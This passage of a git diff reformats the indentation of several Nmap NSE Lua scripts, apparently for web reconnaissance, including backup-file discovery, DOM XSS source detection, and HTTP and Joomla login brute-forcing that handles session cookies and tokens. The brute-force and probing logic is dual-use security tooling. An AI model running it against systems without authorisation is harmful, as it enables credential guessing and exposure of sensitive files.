"http://(www%.amazon%.com/[^\"']*[\\?&;]tag|rcm%.amazon%.com/[^\"']*[\\?&;]t)=(?P\\w+-\\d+)", } portrule = shortport.http @@ -65,76 +65,76 @@ postrule = function() return (nmap.registry["http-affiliate-id"] ~= nil) end --@param port nmap port table --@param affid affiliate id table local add_key_to_registry = function(host, port, path, affid) - local site = host.targetname or host.ip - site = site .. ":" .. port.number .. path - nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {} + local site = host.targetname or host.ip + site = site .. ":" .. port.number .. path + nmap.registry["http-affiliate-id"] = nmap.registry["http-affiliate-id"] or {} - nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {} - table.insert(nmap.registry["http-affiliate-id"][site], affid) + nmap.registry["http-affiliate-id"][site] = nmap.registry["http-affiliate-id"][site] or {} + table.insert(nmap.registry["http-affiliate-id"][site], affid) end portaction = function(host, port) - local result = {} - local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/" - local body = http.get(host, port, url_path).body + local result = {} + local url_path = stdnse.get_script_args("http-affiliate-id.url-path") or "/" + local body = http.get(host, port, url_path).body - if ( not(body) ) then - return - end + if ( not(body) ) then + return + end - -- Here goes affiliate matching - for name, re in pairs(AFFILIATE_PATTERNS) do - local regex = pcre.new(re, 0, "C") - local limit, limit2, matches = regex:match(body) - if limit ~= nil then - local affiliateid = matches["id"] - result[#result + 1] = name .. ": " .. affiliateid - add_key_to_registry(host, port, url_path, result[#result]) - end - end + -- Here goes affiliate matching + for name, re in pairs(AFFILIATE_PATTERNS) do + local regex = pcre.new(re, 0, "C") + local limit, limit2, matches = regex:match(body) + if limit ~= nil then + local affiliateid = matches["id"] + result[#result + 1] = name .. ": " .. affiliateid + add_key_to_registry(host, port, url_path, result[#result]) + end + end - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end --- iterate over the list of gathered ids and look for related sites (sharing the same siteids) local function postaction() - local siteids = {} - local output = {} + local siteids = {} + local output = {} - -- create a reverse mapping affiliate ids -> site(s) - for site, ids in pairs(nmap.registry["http-affiliate-id"]) do - for _, id in ipairs(ids) do - if not siteids[id] then - siteids[id] = {} - end - -- discard duplicate IPs - if not stdnse.contains(siteids[id], site) then - table.insert(siteids[id], site) - end - end - end + -- create a reverse mapping affiliate ids -> site(s) + for site, ids in pairs(nmap.registry["http-affiliate-id"]) do + for _, id in ipairs(ids) do + if not siteids[id] then + siteids[id] = {} + end + -- discard duplicate IPs + if not stdnse.contains(siteids[id], site) then + table.insert(siteids[id], site) + end + end + end - -- look for sites using the same affiliate id - for id, sites in pairs(siteids) do - if #siteids[id] > 1 then - local str = id .. ' used by:' - for _, site in ipairs(siteids[id]) do - str = str .. '\n ' .. site - end - table.insert(output, str) - end - end + -- look for sites using the same affiliate id + for id, sites in pairs(siteids) do + if #siteids[id] > 1 then + local str = id .. ' used by:' + for _, site in ipairs(siteids[id]) do + str = str .. '\n ' .. site + end + table.insert(output, str) + end + end - if #output > 0 then - return 'Possible related sites\n' .. table.concat(output, '\n') - end + if #output > 0 then + return 'Possible related sites\n' .. table.concat(output, '\n') + end end local ActionsTable = { - -- portrule: get affiliate ids - portrule = portaction, - -- postrule: look for related sites (same affiliate ids) - postrule = postaction + -- portrule: get affiliate ids + portrule = portaction, + -- postrule: look for related sites (same affiliate ids) + postrule = postaction } -- execute the action function corresponding to the current rule diff --git a/scripts/http-backup-finder.nse b/scripts/http-backup-finder.nse index 46eedb22a..028241db9 100644 --- a/scripts/http-backup-finder.nse +++ b/scripts/http-backup-finder.nse @@ -47,107 +47,107 @@ categories = {"discovery", "safe"} portrule = shortport.http local function backupNames(filename) - local function createBackupNames() - local dir = filename:match("^(.*/)") or "" - local basename, suffix = filename:match("([^/]*)%.(.*)$") + local function createBackupNames() + local dir = filename:match("^(.*/)") or "" + local basename, suffix = filename:match("([^/]*)%.(.*)$") - local backup_names = {} - if basename then - table.insert(backup_names, "{basename}.bak") -- generic bak file - end - if basename and suffix then - table.insert(backup_names, "{basename}.{suffix}~") -- emacs - table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy - table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy - table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy - table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup - table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue + local backup_names = {} + if basename then + table.insert(backup_names, "{basename}.bak") -- generic bak file + end + if basename and suffix then + table.insert(backup_names, "{basename}.{suffix}~") -- emacs + table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy + table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy + table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy + table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup + table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue - end + end - local replace_patterns = { - ["{filename}"] = filename, - ["{basename}"] = basename, - ["{suffix}"] = suffix, - } + local replace_patterns = { + ["{filename}"] = filename, + ["{basename}"] = basename, + ["{suffix}"] = suffix, + } - for _, name in ipairs(backup_names) do - local backup_name = name - for p, v in pairs(replace_patterns) do - backup_name = backup_name:gsub(p,v) - end - coroutine.yield(dir .. backup_name) - end - end - return coroutine.wrap(createBackupNames) + for _, name in ipairs(backup_names) do + local backup_name = name + for p, v in pairs(replace_patterns) do + backup_name = backup_name:gsub(p,v) + end + coroutine.yield(dir .. backup_name) + end + end + return coroutine.wrap(createBackupNames) end action = function(host, port) - local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) - crawler:set_timeout(10000) + local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) + crawler:set_timeout(10000) - local res, res404, known404 = http.identify_404(host, port) - if not res then - stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME) - return nil - end + local res, res404, known404 = http.identify_404(host, port) + if not res then + stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME) + return nil + end - local backups = {} - while(true) do - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if ( not(status) ) then - if ( r.err ) then - return stdnse.format_output(true, "ERROR: %s", r.reason) - else - break - end - end + local backups = {} + while(true) do + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(true, "ERROR: %s", r.reason) + else + break + end + end - -- parse the returned url - local parsed = url.parse(tostring(r.url)) + -- parse the returned url + local parsed = url.parse(tostring(r.url)) - -- handle case where only hostname was provided - if ( parsed.path == nil ) then - parsed.path = '/' - end + -- handle case where only hostname was provided + if ( parsed.path == nil ) then + parsed.path = '/' + end - -- only pursue links that have something looking as a file - if ( parsed.path:match(".*%.*.$") ) then - -- iterate over possible backup files - for link in backupNames(parsed.path) do - local host, port = parsed.host, parsed.port + -- only pursue links that have something looking as a file + if ( parsed.path:match(".*%.*.$") ) then + -- iterate over possible backup files + for link in backupNames(parsed.path) do + local host, port = parsed.host, parsed.port - -- if no port was found, try to deduce it from the scheme - if ( not(port) ) then - port = (parsed.scheme == 'https') and 443 - port = port or ((parsed.scheme == 'http') and 80) - end + -- if no port was found, try to deduce it from the scheme + if ( not(port) ) then + port = (parsed.scheme == 'https') and 443 + port = port or ((parsed.scheme == 'http') and 80) + end - -- the url.escape doesn't work here as it encodes / to %2F - -- which results in 400 bad request, so we simple do a space - -- replacement instead. - local escaped_link = link:gsub(" ", "%%20") + -- the url.escape doesn't work here as it encodes / to %2F + -- which results in 400 bad request, so we simple do a space + -- replacement instead. + local escaped_link = link:gsub(" ", "%%20") - -- attempt a HEAD-request against each of the backup files - local response = http.head(host, port, escaped_link) - if http.page_exists(response, res404, known404, escaped_link, true) then - if ( not(parsed.port) ) then - table.insert(backups, - ("%s://%s%s"):format(parsed.scheme, host, link)) - else - table.insert(backups, - ("%s://%s:%d%s"):format(parsed.scheme, host, port, link)) - end - end - end - end - end + -- attempt a HEAD-request against each of the backup files + local response = http.head(host, port, escaped_link) + if http.page_exists(response, res404, known404, escaped_link, true) then + if ( not(parsed.port) ) then + table.insert(backups, + ("%s://%s%s"):format(parsed.scheme, host, link)) + else + table.insert(backups, + ("%s://%s:%d%s"):format(parsed.scheme, host, port, link)) + end + end + end + end + end - if ( #backups > 0 ) then - backups.name = crawler:getLimitations() - return stdnse.format_output(true, backups) - end + if ( #backups > 0 ) then + backups.name = crawler:getLimitations() + return stdnse.format_output(true, backups) + end end diff --git a/scripts/http-brute.nse b/scripts/http-brute.nse index 9dfc237d5..6289ea636 100644 --- a/scripts/http-brute.nse +++ b/scripts/http-brute.nse @@ -61,19 +61,19 @@ Driver = { return o end, - connect = function( self ) - -- This will cause problems, as ther is no way for us to "reserve" - -- a socket. We may end up here early with a set of credentials - -- which won't be guessed until the end, due to socket exhaustion. - return true - end, + connect = function( self ) + -- This will cause problems, as ther is no way for us to "reserve" + -- a socket. We may end up here early with a set of credentials + -- which won't be guessed until the end, due to socket exhaustion. + return true + end, login = function( self, username, password ) local response local opts_table if not self.digestauth then - -- we need to supply the no_cache directive, or else the http library - -- incorrectly tells us that the authentication was successful + -- we need to supply the no_cache directive, or else the http library + -- incorrectly tells us that the authentication was successful opts_table = { auth = { username = username, password = password }, no_cache = true } else opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true } @@ -86,47 +86,47 @@ Driver = { return false, err end - -- Checking for ~= 401 *should* work to - -- but gave me a number of false positives last time I tried. - -- We decided to change it to ~= 4xx. - if ( response.status < 400 or response.status > 499 ) then - if ( not( nmap.registry['credentials'] ) ) then - nmap.registry['credentials'] = {} - end - if ( not( nmap.registry.credentials['http'] ) ) then - nmap.registry.credentials['http'] = {} - end - table.insert( nmap.registry.credentials.http, { username = username, password = password } ) - return true, brute.Account:new( username, password, creds.State.VALID) - end - return false, brute.Error:new( "Incorrect password" ) - end, + -- Checking for ~= 401 *should* work to + -- but gave me a number of false positives last time I tried. + -- We decided to change it to ~= 4xx. + if ( response.status < 400 or response.status > 499 ) then + if ( not( nmap.registry['credentials'] ) ) then + nmap.registry['credentials'] = {} + end + if ( not( nmap.registry.credentials['http'] ) ) then + nmap.registry.credentials['http'] = {} + end + table.insert( nmap.registry.credentials.http, { username = username, password = password } ) + return true, brute.Account:new( username, password, creds.State.VALID) + end + return false, brute.Error:new( "Incorrect password" ) + end, - disconnect = function( self ) - return true - end, - - check = function( self ) + disconnect = function( self ) return true - end, + end, + + check = function( self ) + return true + end, } action = function( host, port ) - local status, result - local path = stdnse.get_script_args("http-brute.path") or "/" - local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET") + local status, result + local path = stdnse.get_script_args("http-brute.path") or "/" + local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET") - if ( not(path) ) then - return " \n ERROR: No path was specified (see http-brute.path)" - end + if ( not(path) ) then + return " \n ERROR: No path was specified (see http-brute.path)" + end - local response = http.generic_request( host, port, method, path, { no_cache = true } ) + local response = http.generic_request( host, port, method, path, { no_cache = true } ) - if ( response.status ~= 401 ) then - return (" \n Path \"%s\" does not require authentication"):format(path) - end + if ( response.status ~= 401 ) then + return (" \n Path \"%s\" does not require authentication"):format(path) + end -- check if digest auth is required local digestauth = false diff --git a/scripts/http-chrono.nse b/scripts/http-chrono.nse index 5a18da477..b1a28ee21 100644 --- a/scripts/http-chrono.nse +++ b/scripts/http-chrono.nse @@ -96,7 +96,7 @@ action = function(host, port) local min, max, page_test local bulk_start = stdnse.clock_ms() for i = 1,tries do - local start = stdnse.clock_ms() + local start = stdnse.clock_ms() if ( url_page:match("%?") ) then page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true }) else @@ -121,7 +121,7 @@ action = function(host, port) output = tab.new(4) tab.addrow(output, "page", "avg", "min", "max") for _, entry in ipairs(results) do - tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max)) + tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max)) end output = "\n" .. tab.dump(output) else diff --git a/scripts/http-comments-displayer.nse b/scripts/http-comments-displayer.nse index e19ea7321..cf680c878 100644 --- a/scripts/http-comments-displayer.nse +++ b/scripts/http-comments-displayer.nse @@ -57,100 +57,100 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open -- the related comment. local getLineNumber = function(body, comment) - local partofresponse = body:find(comment, 1, true) - partofresponse = body:sub(0, partofresponse) - local _, count = string.gsub(partofresponse, "\n", "\n") + local partofresponse = body:find(comment, 1, true) + partofresponse = body:sub(0, partofresponse) + local _, count = string.gsub(partofresponse, "\n", "\n") - return count + 1 + return count + 1 end action = function(host, port) - local context = stdnse.get_script_args("http-comments-displayer.context") - local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages") + local context = stdnse.get_script_args("http-comments-displayer.context") + local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages") - local comments = {} + local comments = {} - local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) + local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) - if (not(crawler)) then - return - end + if (not(crawler)) then + return + end - crawler:set_timeout(10000) + crawler:set_timeout(10000) - if context then - if (tonumber(context) > 100) then - context = 100 - end - - -- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax. - for i, pattern in ipairs(PATTERNS) do - PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context) - end + if context then + if (tonumber(context) > 100) then + context = 100 end - local index, k, target, response, path - while (true) do + -- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax. + for i, pattern in ipairs(PATTERNS) do + PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context) + end + end - if singlepages then - k, target = next(singlepages, index) - if (k == nil) then - break - end - response = http.get(host, port, target) - path = target + local index, k, target, response, path + while (true) do + if singlepages then + k, target = next(singlepages, index) + if (k == nil) then + break + end + response = http.get(host, port, target) + path = target + + else + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) else - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - - response = r.response - path = tostring(r.url) - end - - if response.body then - - for i, pattern in ipairs(PATTERNS) do - for c in string.gmatch(response.body, pattern) do - - local linenumber = getLineNumber(response.body, c) - - comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n" - end - end - - if (index) then - index = index + 1 - else - index = 1 - end + break end + end + response = r.response + path = tostring(r.url) end - -- If the table is empty. - if next(comments) == nil then - return "Couldn't find any comments." + if response.body then + + for i, pattern in ipairs(PATTERNS) do + for c in string.gmatch(response.body, pattern) do + + local linenumber = getLineNumber(response.body, c) + + comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n" + end + end + + if (index) then + index = index + 1 + else + index = 1 + end end - -- Create a nice output. - local results = {} - for c, _ in pairs(comments) do - table.insert(results, {_, {{c}}}) - end + end - results.name = crawler:getLimitations() + -- If the table is empty. + if next(comments) == nil then + return "Couldn't find any comments." + end - return stdnse.format_output(true, results) + -- Create a nice output. + local results = {} + for c, _ in pairs(comments) do + table.insert(results, {_, {{c}}}) + end + + results.name = crawler:getLimitations() + + return stdnse.format_output(true, results) end diff --git a/scripts/http-devframework.nse b/scripts/http-devframework.nse index 2c0365822..08f310bc5 100644 --- a/scripts/http-devframework.nse +++ b/scripts/http-devframework.nse @@ -78,70 +78,70 @@ end action = function(host, port) - local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua") - local rapid = stdnse.get_script_args("http-devframework.rapid") + local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua") + local rapid = stdnse.get_script_args("http-devframework.rapid") - local d + local d - -- Run rapidDetect() callbacks. - for f, method in pairs(tools) do - d = method["rapidDetect"](host, port) + -- Run rapidDetect() callbacks. + for f, method in pairs(tools) do + d = method["rapidDetect"](host, port) + if d then + return d + end + end + + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, + maxpagecount = 40, + maxdepth = -1, + withinhost = 1 + }) + + if rapid then + return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode." + end + + crawler.options.doscraping = function(url) + if crawler:iswithinhost(url) + and not crawler:isresource(url, "js") + and not crawler:isresource(url, "css") then + return true + end + end + + crawler:set_timeout(10000) + + while (true) do + + local response, path + + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) + else + break + end + end + + response = r.response + path = tostring(r.url) + + if (response.body) then + + -- Run consumingDetect() callbacks. + for f, method in pairs(tools) do + d = method["consumingDetect"](response.body, path) if d then - return d + return d end + end end - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, - maxpagecount = 40, - maxdepth = -1, - withinhost = 1 - }) - - if rapid then - return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode." - end - - crawler.options.doscraping = function(url) - if crawler:iswithinhost(url) - and not crawler:isresource(url, "js") - and not crawler:isresource(url, "css") then - return true - end - end - - crawler:set_timeout(10000) - - while (true) do - - local response, path - - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - - response = r.response - path = tostring(r.url) - - if (response.body) then - - -- Run consumingDetect() callbacks. - for f, method in pairs(tools) do - d = method["consumingDetect"](response.body, path) - if d then - return d - end - end - end - return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages." - end + end end diff --git a/scripts/http-dombased-xss.nse b/scripts/http-dombased-xss.nse index 5f1f28caa..262b075e6 100644 --- a/scripts/http-dombased-xss.nse +++ b/scripts/http-dombased-xss.nse @@ -67,84 +67,84 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open action = function(host, port) - local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages") + local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages") - local domxss = {} + local domxss = {} - local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) + local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) - if (not(crawler)) then - return - end + if (not(crawler)) then + return + end - crawler:set_timeout(10000) + crawler:set_timeout(10000) - local index, k, target, response, path - while (true) do + local index, k, target, response, path + while (true) do - if singlepages then - k, target = next(singlepages, index) - if (k == nil) then - break - end - response = http.get(host, port, target) - path = target + if singlepages then + k, target = next(singlepages, index) + if (k == nil) then + break + end + response = http.get(host, port, target) + path = target + else + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) else - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - - response = r.response - path = tostring(r.url) - end - - if response.body then - - for _, fp in ipairs(JS_FUNC_PATTERNS) do - for i in string.gmatch(response.body, fp) do - for _, cp in ipairs(JS_CALLS_PATTERNS) do - if string.find(i, cp) then - if not domxss[i] then - domxss[i] = {path} - else - table.insert(domxss[i], ", " .. path) - end - end - end - end - end - - if (index) then - index = index + 1 - else - index = 1 - end + break end + end + response = r.response + path = tostring(r.url) end - -- If the table is empty. - if next(domxss) == nil then - return "Couldn't find any DOM based XSS." + if response.body then + + for _, fp in ipairs(JS_FUNC_PATTERNS) do + for i in string.gmatch(response.body, fp) do + for _, cp in ipairs(JS_CALLS_PATTERNS) do + if string.find(i, cp) then + if not domxss[i] then + domxss[i] = {path} + else + table.insert(domxss[i], ", " .. path) + end + end + end + end + end + + if (index) then + index = index + 1 + else + index = 1 + end end - local results = {} - for x, _ in pairs(domxss) do - table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) }) - end + end - table.insert(results, 1, "Found the following indications of potential DOM based XSS: ") + -- If the table is empty. + if next(domxss) == nil then + return "Couldn't find any DOM based XSS." + end - results.name = crawler:getLimitations() + local results = {} + for x, _ in pairs(domxss) do + table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) }) + end - return stdnse.format_output(true, results) + table.insert(results, 1, "Found the following indications of potential DOM based XSS: ") + + results.name = crawler:getLimitations() + + return stdnse.format_output(true, results) end diff --git a/scripts/http-errors.nse b/scripts/http-errors.nse index 66d4d376f..475dadeaf 100644 --- a/scripts/http-errors.nse +++ b/scripts/http-errors.nse @@ -47,86 +47,86 @@ local httpspider = require "httpspider" portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") local function compare(a, b) - return a[1] < b[1] + return a[1] < b[1] end local function inTable(tbl, item) - item = tostring(item) - for key, value in pairs(tbl) do - if value == tostring(item) then - return true - end + item = tostring(item) + for key, value in pairs(tbl) do + if value == tostring(item) then + return true end - return nil + end + return nil end action = function(host, port) - local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil + local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, - maxpagecount = 40, - maxdepth = -1, - withinhost = 1 - }) + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, + maxpagecount = 40, + maxdepth = -1, + withinhost = 1 + }) - crawler.options.doscraping = function(url) - if crawler:iswithinhost(url) - and not crawler:isresource(url, "js") - and not crawler:isresource(url, "css") then - return true - end + crawler.options.doscraping = function(url) + if crawler:iswithinhost(url) + and not crawler:isresource(url, "js") + and not crawler:isresource(url, "css") then + return true + end + end + + crawler:set_timeout(10000) + + local errors = {} + + while (true) do + + local response, path + + local status, r = crawler:crawl() + -- if the crawler fails it can be due to a number of different reasons + -- most of them are "legitimate" and should not be reason to abort + if (not(status)) then + if (r.err) then + return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) + else + break + end end - crawler:set_timeout(10000) - - local errors = {} - - while (true) do - - local response, path - - local status, r = crawler:crawl() - -- if the crawler fails it can be due to a number of different reasons - -- most of them are "legitimate" and should not be reason to abort - if (not(status)) then - if (r.err) then - return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) - else - break - end - end - - response = r.response - path = tostring(r.url) - - if (response.status >= 400 and not errcodes) or - ( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then - table.insert(errors, { tostring(response.status), path }) - end + response = r.response + path = tostring(r.url) + if (response.status >= 400 and not errcodes) or + ( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then + table.insert(errors, { tostring(response.status), path }) end - -- If the table is empty. - if next(errors) == nil then - return "Couldn't find any error pages." - end + end - table.sort(errors, compare) + -- If the table is empty. + if next(errors) == nil then + return "Couldn't find any error pages." + end - -- Create a nice output. - local results = {} - for c, _ in pairs(errors) do - table.insert(results, "\nError Code: " .. _[1]) - table.insert(results, "\t" .. _[2]) - end + table.sort(errors, compare) - table.insert(results, 1, "Found the following error pages: ") + -- Create a nice output. + local results = {} + for c, _ in pairs(errors) do + table.insert(results, "\nError Code: " .. _[1]) + table.insert(results, "\t" .. _[2]) + end - results.name = crawler:getLimitations() + table.insert(results, 1, "Found the following error pages: ") - return stdnse.format_output(true, results) + results.name = crawler:getLimitations() + + return stdnse.format_output(true, results) end diff --git a/scripts/http-joomla-brute.nse b/scripts/http-joomla-brute.nse index cc501f201..e2c0e0721 100644 --- a/scripts/http-joomla-brute.nse +++ b/scripts/http-joomla-brute.nse @@ -37,9 +37,9 @@ Joomla's default uri and form names: -- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php -- @args http-joomla-brute.hostname Virtual Hostname Header -- @args http-joomla-brute.uservar sets the http-variable name that holds the --- username used to authenticate. Default: username +-- username used to authenticate. Default: username -- @args http-joomla-brute.passvar sets the http-variable name that holds the --- password used to authenticate. Default: passwd +-- password used to authenticate. Default: passwd -- @args http-joomla-brute.threads sets the number of threads. Default: 3 -- -- Other useful arguments when using this script are: @@ -79,19 +79,19 @@ Driver = { o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host o.port = port o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI - o.options = options + o.options = options return o - end, + end, - connect = function( self ) - return true - end, + connect = function( self ) + return true + end, - login = function( self, username, password ) + login = function( self, username, password ) stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token) - local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, - { [self.options.uservar] = username, [self.options.passvar] = password, - [security_token] = 1, lang = "", option = "com_login", task = "login" } ) + local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, + { [self.options.uservar] = username, [self.options.passvar] = password, + [security_token] = 1, lang = "", option = "com_login", task = "login" } ) if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then stdnse.print_debug(2, "Response:\n%s", response.body) @@ -100,22 +100,22 @@ Driver = { return true, brute.Account:new( username, password, "OPEN") end return false, brute.Error:new( "Incorrect password" ) - end, + end, - disconnect = function( self ) - return true - end, + disconnect = function( self ) + return true + end, - check = function( self ) - local response = http.get( self.host, self.port, self.uri ) - stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) - -- Check if password field is there - if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then + check = function( self ) + local response = http.get( self.host, self.port, self.uri ) + stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) + -- Check if password field is there + if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then stdnse.print_debug(1, "Initial check passed. Launching brute force attack") session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"]; if response.body then - local _ - _, _, security_token = string.find(response.body, '') + local _ + _, _, security_token = string.find(response.body, '') end if security_token then stdnse.print_debug(2, "Security Token found:%s", security_token) @@ -124,12 +124,12 @@ Driver = { return false end - return true + return true else stdnse.print_debug(1, "Initial check failed. Password field wasn't found") - end - return false - end + end + return false + end } --- diff --git a/scripts/http-methods.nse b/scripts/http-methods.nse index b8d7daa4c..62e326f80 100644 --- a/scripts/http-methods.nse +++ b/scripts/http-methods.nse @@ -55,7 +55,7 @@ categories = {"default", "safe"} -- We don't report these methods except with verbosity. local UNINTERESTING_METHODS = { - "GET", "HEAD", "POST", "OPTIONS" + "GET", "HEAD", "POST", "OPTIONS" } local filter_out, merge_headers @@ -63,92 +63,92 @@ local filter_out, merge_headers portrule = shortport.http action = function(host, port) - local url_path, retest_http_methods - local response, methods, options_status_line, output + local url_path, retest_http_methods + local response, methods, options_status_line, output - -- default vaules for script-args - url_path = stdnse.get_script_args("http-methods.url-path") or "/" - retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil + -- default vaules for script-args + url_path = stdnse.get_script_args("http-methods.url-path") or "/" + retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil - response = http.generic_request(host, port, "OPTIONS", url_path) - if not response.status then - stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path) - return - end - -- Cache in case retest is requested. - options_status_line = response["status-line"] - stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status) + response = http.generic_request(host, port, "OPTIONS", url_path) + if not response.status then + stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path) + return + end + -- Cache in case retest is requested. + options_status_line = response["status-line"] + stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status) - if not (response.header["allow"] or response.header["public"]) then - return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status) - end + if not (response.header["allow"] or response.header["public"]) then + return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status) + end - -- The Public header is defined in RFC 2068, but was removed in its - -- successor RFC 2616. It is implemented by at least IIS 6.0. - methods = merge_headers(response.header, {"Allow", "Public"}) + -- The Public header is defined in RFC 2068, but was removed in its + -- successor RFC 2616. It is implemented by at least IIS 6.0. + methods = merge_headers(response.header, {"Allow", "Public"}) - output = {} + output = {} - if nmap.verbosity() > 0 then - output[#output + 1] = stdnse.strjoin(" ", methods) - end + if nmap.verbosity() > 0 then + output[#output + 1] = stdnse.strjoin(" ", methods) + end - local interesting = filter_out(methods, UNINTERESTING_METHODS) - if #interesting > 0 then - output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting) - output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html" - end + local interesting = filter_out(methods, UNINTERESTING_METHODS) + if #interesting > 0 then + output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting) + output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html" + end - 